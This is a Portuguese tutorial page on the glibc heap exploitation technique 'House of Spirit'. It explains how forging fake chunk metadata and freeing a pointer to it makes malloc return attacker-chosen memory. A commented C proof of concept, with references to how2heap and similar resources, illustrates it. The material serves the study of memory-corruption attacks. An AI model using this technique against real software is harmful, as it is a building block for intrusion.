# House of Spirit

## Conceito

Este exploit consiste em reescrever um ponteiro, já existente, antes dele ser liberado pela função `free()`. A ideia consiste no atacante criar um *chunk* falso (na pilha, na .bss, na heap, etc...) e fazer o ponteiro apontar para esse novo *chunk*.

Esse novo *chunk* deve passar em alguns testes de verificação, que não é muito difícil, basta iniciar os campos *sizes* desse *chunk*, e do próximo.

{% hint style="info" %}
**Nota:** O atacante deve, na verdade, criar dois *chunk*s adjacentes, para dessa forma modificar tanto o campo *size* do primeiro, como do segundo. Porém, o segundo *chunk* não necessita do espaço completo criado para ele, ele apenas precisa desse campo *size*.
{% endhint %}

O campo *size* do primeiro *chunk* falso deve estar no intervalo da **fastbin**, para quando ele for liberado, ele cair nela. Com isso, a próxima alocação com o tamanho no *size* (se atentando ao arredondamento da `malloc()`) irá retornar esse *chunk*.

## Exemplo

{% code title="house-of-spirit.c" overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>
#include <stdlib.h>

int main()
{
    size_t *chunks[7];
    size_t fake_chunks[10] __attribute__((aligned(0x10))); // Espaço para dois chunks, um com o campo size em fake_chunks[1] e o outro com o campo size em fake_chunks[9].
    size_t *ptr = NULL, *ptr2 = NULL;

    // Preenchendo a tcache.
    printf("\nPasso 1: preencher a tcache.");
    for (int i = 0; i < 7; i++)
    {
        chunks[i] = (size_t *)malloc(0x30);
    }
    for (int i = 0; i < 7; i++)
    {
        free(chunks[i]);
    }

    // Iniciando o exploit.
    printf("\nPasso 2: preparar os metadados dos chunks falsos.");
    printf("\nO campo size do primeiro chunk está em %p, e o campo size do segundo está em %p", &fake_chunks[1], &fake_chunks[9]);
    // O campo size do primeiro chunk deve ser menor do que 128 para entrar na fastbin, porém é necessário ficar esperto com os bits NMP. Neste caso, ambos estarão zerados (anterior não está em uso, não é mmaped, e está na arena principal).
    // Outra coisa importante é que o valor no size deve ser um valor gerado pelo arredondamento da malloc, por exemplo, em x64 os valores 0x30 a 0x38 são arredondados para 0x40.
    fake_chunks[1] = 0x40; // O tamanho do chunk de fato. fake_chunks[0] é considerado do anterior, e fake_chunks[9] é o size do próximo. Sobra 8 índices de 8 bytes = 64 bytes = 0x40.
    // O tamanho do próximo chunk deve obedecer algumas regras, uma delas é que ele deve ser maior do que 2*SIZE_SZ (16 em x64) e menor do que av->system_mem (128kb, por padrão na arena principal).
    fake_chunks[9] = 0x40; // Bits NMP desativados.

    printf("\nPasso 3: liberando o primeiro chunk falso.");
    // O chunk deve estar alinhado em 16 bytes para não gerar erro.
    ptr = (size_t *)&fake_chunks[2]; // Os dados do usuário sempre começam 8 bytes na frente do size.
    free(ptr);

    printf("\nPasso 4: alocando novamente o chunk.");
    // Note que podemos usar a malloc, porém teríamos que fazer 7 alocações antes para esvaziar a tcache.
    ptr2 = (size_t *)calloc(1, 0x30); // Lembre-se de que irá arredondar para 0x40.
    printf("\nEndereço do chunk %p, endereço retornado %p\n", &fake_chunks[2], ptr2);
    return 0;
}
```

{% endcode %}

## Referências

[heap-exploitation](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)

[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_spirit.c)

[Nightmare](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html)
